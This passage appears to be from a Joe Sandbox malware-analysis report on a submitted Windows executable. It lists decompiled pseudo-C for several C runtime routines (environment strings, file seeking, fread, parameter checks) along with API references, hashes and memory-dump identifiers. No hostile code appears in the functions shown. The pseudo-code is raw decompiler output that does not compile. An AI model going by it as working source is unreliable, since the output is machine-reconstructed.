                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ChangeCloseErrorFindLastNotification
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1687624791-0
                                                                                                                              • Opcode ID: ad6594b361ddccf81c01187a23df810a25d25f951f7e4b92e7c3b860c5a51574
                                                                                                                              • Instruction ID: 61657c8dfa15de9a9dde17b6f7b24b638b75a29f25f6da6806214ff180e29e27
                                                                                                                              • Opcode Fuzzy Hash: ad6594b361ddccf81c01187a23df810a25d25f951f7e4b92e7c3b860c5a51574
                                                                                                                              • Instruction Fuzzy Hash: 1221C511F18643C4FA527761D48427DE2927FA4BA0FD442B7EE1E472C3CE6EE5654320
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8F1ACC Relevance: 3.0, APIs: 2, Instructions: 46COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 75%
                                                                                                                              			E00007FF77FF7DA8F1ACC(signed int __rax, long long __rbx, long long __rsi, long long __rbp, long long _a8, long long _a16, long long _a24) {
				signed long long _t25;

				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				GetEnvironmentStringsW();
				if (__rax == 0) goto 0xda8f1b53;
				if ( *__rax == 0) goto 0xda8f1b12;
				_t25 = (__rax | 0xffffffff) + 1;
				if ( *((intOrPtr*)(__rax + _t25 * 2)) != 0) goto 0xda8f1afc;
				if ( *((intOrPtr*)(__rax + _t25 * 2 + 2)) != 0) goto 0xda8f1af8;
				E00007FF77FF7DA8ECA1C(_t25, (__rax + _t25 * 2 + 2 - __rax + 2 >> 1) + (__rax + _t25 * 2 + 2 - __rax + 2 >> 1)); // executed
				if (_t25 == 0) goto 0xda8f1b40;
				E00007FF77FF7DA8DBAC0();
				E00007FF77FF7DA8E9D68(_t25, _t25);
				return FreeEnvironmentStringsW(??);
			}




                                                                                                                              0x7ff7da8f1acc
                                                                                                                              0x7ff7da8f1ad1
                                                                                                                              0x7ff7da8f1ad6
                                                                                                                              0x7ff7da8f1ae0
                                                                                                                              0x7ff7da8f1aee
                                                                                                                              0x7ff7da8f1af6
                                                                                                                              0x7ff7da8f1afc
                                                                                                                              0x7ff7da8f1b03
                                                                                                                              0x7ff7da8f1b10
                                                                                                                              0x7ff7da8f1b22
                                                                                                                              0x7ff7da8f1b2d
                                                                                                                              0x7ff7da8f1b38
                                                                                                                              0x7ff7da8f1b42
                                                                                                                              0x7ff7da8f1b67

                                                                                                                              APIs
                                                                                                                              • GetEnvironmentStringsW.KERNEL32(?,?,00000000,00007FF7DA8E7FD2,?,?,00000000,00007FF7DA8E84C6,?,?,?,?,00007FF7DA8F0474,?,?,00000000), ref: 00007FF7DA8F1AE0
                                                                                                                              • FreeEnvironmentStringsW.KERNEL32(?,?,00000000,00007FF7DA8E7FD2,?,?,00000000,00007FF7DA8E84C6,?,?,?,?,00007FF7DA8F0474,?,?,00000000), ref: 00007FF7DA8F1B4A
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: EnvironmentStrings$Free
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3328510275-0
                                                                                                                              • Opcode ID: 0ee5b91ef27c692402e33859d0454b1560df10753870356f6818918236a71bbe
                                                                                                                              • Instruction ID: a2ff1800a73ea886438531ff62f2bcc4d2cdb905fbf13d347538933c33d3923c
                                                                                                                              • Opcode Fuzzy Hash: 0ee5b91ef27c692402e33859d0454b1560df10753870356f6818918236a71bbe
                                                                                                                              • Instruction Fuzzy Hash: B8018611E1876781FA21BB11641006DE370BF64BE0BD84576DF6E137C6DE2CE4628350
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EB554 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 37%
                                                                                                                              			E00007FF77FF7DA8EB554(signed int __ecx, void* __edx, void* __edi, void* __eflags, void* __rax, long long __rbx, void* __rdx, long long __rsi, long long __rbp, void* __r9, long long _a8, long long _a16, long long _a24) {
				intOrPtr _v24;
				int _t22;
				void* _t24;

				_a8 = __rbx;
				_a16 = __rbp;
				_a24 = __rsi;
				E00007FF77FF7DA8E6E48(__edi, __rax);
				if (__rax != 0xffffffff) goto 0xda8eb592;
				 *((char*)(__r9 + 0x30)) = 1;
				 *((intOrPtr*)(__r9 + 0x2c)) = 9;
				goto 0xda8eb5e8;
				r9d = r8d;
				_t22 = SetFilePointerEx(??, ??, ??, ??); // executed
				if (_t22 != 0) goto 0xda8eb5bc;
				_t24 = E00007FF77FF7DA8E4350(GetLastError(), __r9);
				goto 0xda8eb58c;
				if (_v24 == 0xffffffff) goto 0xda8eb58c;
				 *( *((intOrPtr*)(0xda91ca20 + (__ecx >> 6) * 8)) + 0x38 + (__ecx + __ecx * 8) * 8) =  *( *((intOrPtr*)(0xda91ca20 + (__ecx >> 6) * 8)) + 0x38 + (__ecx + __ecx * 8) * 8) & 0x000000fd;
				return _t24;
			}






                                                                                                                              0x7ff7da8eb554
                                                                                                                              0x7ff7da8eb559
                                                                                                                              0x7ff7da8eb55e
                                                                                                                              0x7ff7da8eb576
                                                                                                                              0x7ff7da8eb57f
                                                                                                                              0x7ff7da8eb581
                                                                                                                              0x7ff7da8eb585
                                                                                                                              0x7ff7da8eb590
                                                                                                                              0x7ff7da8eb592
                                                                                                                              0x7ff7da8eb5a0
                                                                                                                              0x7ff7da8eb5a8
                                                                                                                              0x7ff7da8eb5b5
                                                                                                                              0x7ff7da8eb5ba
                                                                                                                              0x7ff7da8eb5c5
                                                                                                                              0x7ff7da8eb5e3
                                                                                                                              0x7ff7da8eb5fc

                                                                                                                              APIs
                                                                                                                              • SetFilePointerEx.KERNEL32(?,?,?,?,00000000,00007FF7DA8EB6ED), ref: 00007FF7DA8EB5A0
                                                                                                                              • GetLastError.KERNEL32(?,?,?,?,00000000,00007FF7DA8EB6ED), ref: 00007FF7DA8EB5AA
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorFileLastPointer
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2976181284-0
                                                                                                                              • Opcode ID: a0c231647b24d9852de70eff871a2b210e81a6ebcaaf717043b768b8d22a8b00
                                                                                                                              • Instruction ID: c36d954c3d9f19d22b379cee82d245db5af9bf9fd274714dfeb0e2c9de0ff986
                                                                                                                              • Opcode Fuzzy Hash: a0c231647b24d9852de70eff871a2b210e81a6ebcaaf717043b768b8d22a8b00
                                                                                                                              • Instruction Fuzzy Hash: E511C461618B4281EA11AB25E40406DF361BB94BF4FD48772EE7D477DACF3DD1648740
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E48CC Relevance: 3.0, APIs: 2, Instructions: 40timeCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7DA8E47E1), ref: 00007FF7DA8E48FF
                                                                                                                              • SystemTimeToTzSpecificLocalTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7DA8E47E1), ref: 00007FF7DA8E4915
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Time$System$FileLocalSpecific
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 1707611234-0
                                                                                                                              • Opcode ID: c2acd781a860b2283c906d38b22be488d7b82ddd1467d047cf226228e824bc51
                                                                                                                              • Instruction ID: 839a22c6f0754ecc247b6a9f4fa9e84619222f1b0703e54b2ec35c1e5de43d11
                                                                                                                              • Opcode Fuzzy Hash: c2acd781a860b2283c906d38b22be488d7b82ddd1467d047cf226228e824bc51
                                                                                                                              • Instruction Fuzzy Hash: 4711602160C653C1FA54AB14A44113EF760FB95771FE00276EAAD819E9EF2ED564CB20
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EB2CC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 100%
                                                                                                                              			E00007FF77FF7DA8EB2CC(signed int __edi, intOrPtr* __rax, long long __rbx, void* __rcx, long long __rdi, long long __rsi, long long _a8, long long _a16, long long _a24) {

				_a8 = __rbx;
				_a16 = __rsi;
				_a24 = __rdi;
				if (__rcx != 0) goto 0xda8eb314;
				E00007FF77FF7DA8E4394(__rax);
				 *__rax = 0x16;
				E00007FF77FF7DA8E9D00();
				return __edi | 0xffffffff;
			}



                                                                                                                              0x7ff7da8eb2cc
                                                                                                                              0x7ff7da8eb2d1
                                                                                                                              0x7ff7da8eb2d6
                                                                                                                              0x7ff7da8eb2e7
                                                                                                                              0x7ff7da8eb2e9
                                                                                                                              0x7ff7da8eb2ee
                                                                                                                              0x7ff7da8eb2f4
                                                                                                                              0x7ff7da8eb313

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3215553584-0
                                                                                                                              • Opcode ID: b8ff714229eac61573b8c54aef94970a551645be3ec3e531d410b1a1cea9ddf2
                                                                                                                              • Instruction ID: 8e699729ed87ae0fc017f8a368cf2500401727d1eb1cabeba17cdb2a96c0e7f1
                                                                                                                              • Opcode Fuzzy Hash: b8ff714229eac61573b8c54aef94970a551645be3ec3e531d410b1a1cea9ddf2
                                                                                                                              • Instruction Fuzzy Hash: 3741DF32908241C3FA26AB19A54527DF3A1FB65B54FD04172DF8E836D2CF2EE612C761
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D7170 Relevance: 1.6, APIs: 1, Instructions: 85COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 52%
                                                                                                                              			E00007FF77FF7DA8D7170(void* __rax, long long __rbx, void* __rcx, void* __rdx, long long __rdi, void* __r8) {
				void* _t12;
				void* _t14;
				void* _t27;
				void* _t28;
				void* _t31;
				long long _t33;
				void* _t35;
				long long _t52;
				void* _t57;
				long long _t58;
				void* _t60;
				void* _t62;
				void* _t67;
				void* _t68;
				void* _t71;
				void* _t72;

				_t52 = __rdi;
				_t33 = __rbx;
				_t31 = __rax;
				_t67 = __rcx;
				_t57 = __r8;
				_t71 = __rdx;
				r13d = 0; // executed
				0xda8e4000(); // executed
				_t72 = __rax;
				if (__rax == 0) goto 0xda8d7283;
				_t1 = _t68 + 2; // 0x2
				r8d = _t1;
				_t12 = E00007FF77FF7DA8DF884(__rax, __rbx, __rcx, __rdi); // executed
				if (_t12 < 0) goto 0xda8d7283;
				 *((long long*)(_t62 + 0x50)) = _t33;
				E00007FF77FF7DA8E7888(__rax, _t33, _t67, _t52); // executed
				_t34 = _t31;
				if (_t31 - __r8 < 0) goto 0xda8d727e;
				 *((long long*)(_t62 + 0x58)) = _t58;
				 *((long long*)(_t62 + 0x60)) = _t52;
				_t5 = _t34 - 0x2000; // -8192
				_t60 =  <  ? _t68 : _t5;
				_t35 = _t31 - _t60;
				if (_t35 - __r8 < 0) goto 0xda8d7274;
				r8d = 0;
				_t14 = E00007FF77FF7DA8DF884(_t31, _t35, _t67, _t52); // executed
				if (_t14 < 0) goto 0xda8d7274;
				E00007FF77FF7DA8DF54C(_t60, _t35, _t67); // executed
				_t27 = _t31 - _t35;
				if (_t27 != 0) goto 0xda8d7274;
				if (_t27 == 0) goto 0xda8d725b;
				_t6 = _t72 - 1; // -1
				_t28 = E00007FF77FF7DA8DC740(0x2000, _t6 + _t35 - _t57 + 1, _t71, _t57);
				if (_t28 == 0) goto 0xda8d726d;
				if (_t28 != 0) goto 0xda8d7240;
				if (_t60 != 0) goto 0xda8d71e0;
				goto 0xda8d7274;
				return E00007FF77FF7DA8E3FEC(0x2000, _t72, _t71, _t57);
			}



















                                                                                                                              0x7ff7da8d7170
                                                                                                                              0x7ff7da8d7170
                                                                                                                              0x7ff7da8d7170
                                                                                                                              0x7ff7da8d717e
                                                                                                                              0x7ff7da8d7181
                                                                                                                              0x7ff7da8d7189
                                                                                                                              0x7ff7da8d718c
                                                                                                                              0x7ff7da8d718f
                                                                                                                              0x7ff7da8d7194
                                                                                                                              0x7ff7da8d719a
                                                                                                                              0x7ff7da8d71a2
                                                                                                                              0x7ff7da8d71a2
                                                                                                                              0x7ff7da8d71a9
                                                                                                                              0x7ff7da8d71b0
                                                                                                                              0x7ff7da8d71b9
                                                                                                                              0x7ff7da8d71be
                                                                                                                              0x7ff7da8d71c3
                                                                                                                              0x7ff7da8d71c9
                                                                                                                              0x7ff7da8d71cf
                                                                                                                              0x7ff7da8d71d4
                                                                                                                              0x7ff7da8d71e7
                                                                                                                              0x7ff7da8d71ee
                                                                                                                              0x7ff7da8d71f2
                                                                                                                              0x7ff7da8d71f8
                                                                                                                              0x7ff7da8d71fa
                                                                                                                              0x7ff7da8d7203
                                                                                                                              0x7ff7da8d720a
                                                                                                                              0x7ff7da8d721a
                                                                                                                              0x7ff7da8d721f
                                                                                                                              0x7ff7da8d7222
                                                                                                                              0x7ff7da8d722b
                                                                                                                              0x7ff7da8d722d
                                                                                                                              0x7ff7da8d724e
                                                                                                                              0x7ff7da8d7250
                                                                                                                              0x7ff7da8d7259
                                                                                                                              0x7ff7da8d7265
                                                                                                                              0x7ff7da8d726b
                                                                                                                              0x7ff7da8d729b

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _fread_nolock
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 840049012-0
                                                                                                                              • Opcode ID: 1909cb8615bf05da54bd39bf6f7fce3d1e910c433ceb0e2e0459236c2f447c67
                                                                                                                              • Instruction ID: 4ccf802272e51feb13761ad83ddc974da8e47b45f59649c1d9c3c8a457ca2f70
                                                                                                                              • Opcode Fuzzy Hash: 1909cb8615bf05da54bd39bf6f7fce3d1e910c433ceb0e2e0459236c2f447c67
                                                                                                                              • Instruction Fuzzy Hash: 15218121F0829189FE16AA12A5043BEE652BB45BD4FCC44B2EE4D06B87DF3DE562C310
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EAD5C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 100%
                                                                                                                              			E00007FF77FF7DA8EAD5C(signed int __ecx, void* __esi, signed int __rbx, void* __rdx, signed int __rsi, signed int __r12, void* _a16, void* _a24, void* _a32) {
				signed int _t9;
				signed int* _t15;
				signed int* _t22;

				_t15 = _t22;
				_t15[4] = __rbx;
				_t15[6] = __rsi;
				_t15[8] = __r12;
				_t15[2] = __ecx;
				r14d = r8d;
				if (__esi != 0xfffffffe) goto 0xda8eadb6;
				E00007FF77FF7DA8E4374(_t15);
				 *_t15 =  *_t15 & 0x00000000;
				_t9 = E00007FF77FF7DA8E4394(_t15);
				 *_t15 = 9;
				return _t9 | 0xffffffff;
			}






                                                                                                                              0x7ff7da8ead5c
                                                                                                                              0x7ff7da8ead5f
                                                                                                                              0x7ff7da8ead63
                                                                                                                              0x7ff7da8ead67
                                                                                                                              0x7ff7da8ead6b
                                                                                                                              0x7ff7da8ead78
                                                                                                                              0x7ff7da8ead84
                                                                                                                              0x7ff7da8ead86
                                                                                                                              0x7ff7da8ead8b
                                                                                                                              0x7ff7da8ead8e
                                                                                                                              0x7ff7da8ead93
                                                                                                                              0x7ff7da8eadb5

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3215553584-0
                                                                                                                              • Opcode ID: e997cbf7fc92c3c183a72cd21195dcc51c15026f486b38af738c32ae7cc95935
                                                                                                                              • Instruction ID: 8b9315fee26c8069a7819dab5a7549f5010ce3a20de1cfad2da0602544191b34
                                                                                                                              • Opcode Fuzzy Hash: e997cbf7fc92c3c183a72cd21195dcc51c15026f486b38af738c32ae7cc95935
                                                                                                                              • Instruction Fuzzy Hash: 70318B61A18652C5F612BB1588013BCEA50BB64FA6FD10AB6DE1D433D3CF7EA6618230
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E8709 Relevance: 1.6, APIs: 1, Instructions: 61COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 60%
                                                                                                                              			E00007FF77FF7DA8E8709(void* __ecx, char __edx, intOrPtr* __rax, long long __rbx, long long _a8, char _a16, char _a24, char _a32) {
				long long _v16;
				long long _v24;
				char _v32;
				long long _v40;
				char _v48;
				char _v52;
				void* _v56;
				void* _t28;
				intOrPtr* _t50;
				WCHAR* _t53;

				E00007FF77FF7DA8E9028();
				asm("int3");
				_a24 = r8d;
				_a16 = __edx;
				_v40 = 0xfffffffe;
				_a8 = __rbx;
				if (r8d != 0) goto 0xda8e877f;
				GetModuleHandleW(_t53);
				if (__rax == 0) goto 0xda8e877f;
				if ( *__rax != 0x5a4d) goto 0xda8e877f;
				_t50 =  *((intOrPtr*)(__rax + 0x3c)) + __rax;
				if ( *_t50 != 0x4550) goto 0xda8e877f;
				if ( *((intOrPtr*)(_t50 + 0x18)) != 0x20b) goto 0xda8e877f;
				if ( *((intOrPtr*)(_t50 + 0x84)) - 0xe <= 0) goto 0xda8e877f;
				if ( *((intOrPtr*)(_t50 + 0xf8)) == 0) goto 0xda8e877f;
				E00007FF77FF7DA8E8830(0x20b, __ecx, __rax);
				_a32 = 0;
				_v32 =  &_a16;
				_v24 =  &_a24;
				_v16 =  &_a32;
				_v52 = 2;
				_v48 = 2;
				_t28 = E00007FF77FF7DA8E860C(__rbx,  &_v48,  &_v32,  &_v52);
				if (_a24 == 0) goto 0xda8e87cd;
				return _t28;
			}













                                                                                                                              0x7ff7da8e8709
                                                                                                                              0x7ff7da8e870f
                                                                                                                              0x7ff7da8e8710
                                                                                                                              0x7ff7da8e8715
                                                                                                                              0x7ff7da8e8721
                                                                                                                              0x7ff7da8e8729
                                                                                                                              0x7ff7da8e8733
                                                                                                                              0x7ff7da8e8737
                                                                                                                              0x7ff7da8e8740
                                                                                                                              0x7ff7da8e874a
                                                                                                                              0x7ff7da8e8750
                                                                                                                              0x7ff7da8e8759
                                                                                                                              0x7ff7da8e8764
                                                                                                                              0x7ff7da8e876d
                                                                                                                              0x7ff7da8e8776
                                                                                                                              0x7ff7da8e877a
                                                                                                                              0x7ff7da8e877f
                                                                                                                              0x7ff7da8e8787
                                                                                                                              0x7ff7da8e878f
                                                                                                                              0x7ff7da8e8797
                                                                                                                              0x7ff7da8e87a0
                                                                                                                              0x7ff7da8e87a3
                                                                                                                              0x7ff7da8e87b6
                                                                                                                              0x7ff7da8e87c0
                                                                                                                              0x7ff7da8e87cc

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: HandleModule$AddressFreeLibraryProc
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3947729631-0
                                                                                                                              • Opcode ID: 2312a5d6f4b211effc73cb1fcb8204366b0276267849894ad1c3aa5345b265bd
                                                                                                                              • Instruction ID: 947323d2217bf0b560f748190e0ee3e54c4abe0b55c9dab412a0fcdcf0036200
                                                                                                                              • Opcode Fuzzy Hash: 2312a5d6f4b211effc73cb1fcb8204366b0276267849894ad1c3aa5345b265bd
                                                                                                                              • Instruction Fuzzy Hash: 0A217C32F05642C9FB26AF64C8402AC73A0FB64718F940636DE2C06AD6DF3ED664CB50
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E5418 Relevance: 1.6, APIs: 1, Instructions: 55COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 65%
                                                                                                                              			E00007FF77FF7DA8E5418(intOrPtr __ebp, long long __rbx, short* __rcx, long long __rdx, long long __rbp, void* __r8, long long __r9, char _a8, void* _a16, void* _a24, void* _a32) {
				long long _v48;
				long long _v56;
				void* __rsi;
				intOrPtr _t56;
				signed long long _t80;
				intOrPtr _t82;
				intOrPtr _t86;
				long long _t89;
				signed long long _t97;
				void* _t98;
				signed long long _t99;
				short* _t105;
				long long _t106;
				void* _t109;
				signed long long _t111;
				intOrPtr* _t117;
				long long _t125;

				r8d = 0x40;
				goto 0xda8e534c;
				asm("int3");
				_t80 = _t111;
				 *((long long*)(_t80 + 0x10)) = __rdx;
				_push(_t98);
				 *((long long*)(_t80 - 0x28)) = 0xfffffffe;
				 *((long long*)(_t80 + 0x18)) = __rbx;
				 *((long long*)(_t80 + 0x20)) = __rbp;
				_t89 = __r9;
				_t109 = __r8;
				_t105 = __rcx;
				r14d = 0;
				_t56 = r14d;
				if (__rcx == 0) goto 0xda8e5467;
				if (__r8 != 0) goto 0xda8e5463;
				goto 0xda8e560c;
				 *((intOrPtr*)(__rcx)) = r14w;
				if (__rdx != 0) goto 0xda8e5499;
				 *((char*)(__r9 + 0x30)) = 1;
				 *((intOrPtr*)(__r9 + 0x2c)) = 0x16;
				_v48 = __r9;
				_v56 = _t125;
				r9d = 0;
				r8d = 0;
				E00007FF77FF7DA8E9C34(_t80, __r9, __rcx, __rdx, __rcx, __r8, __r8);
				goto 0xda8e560c;
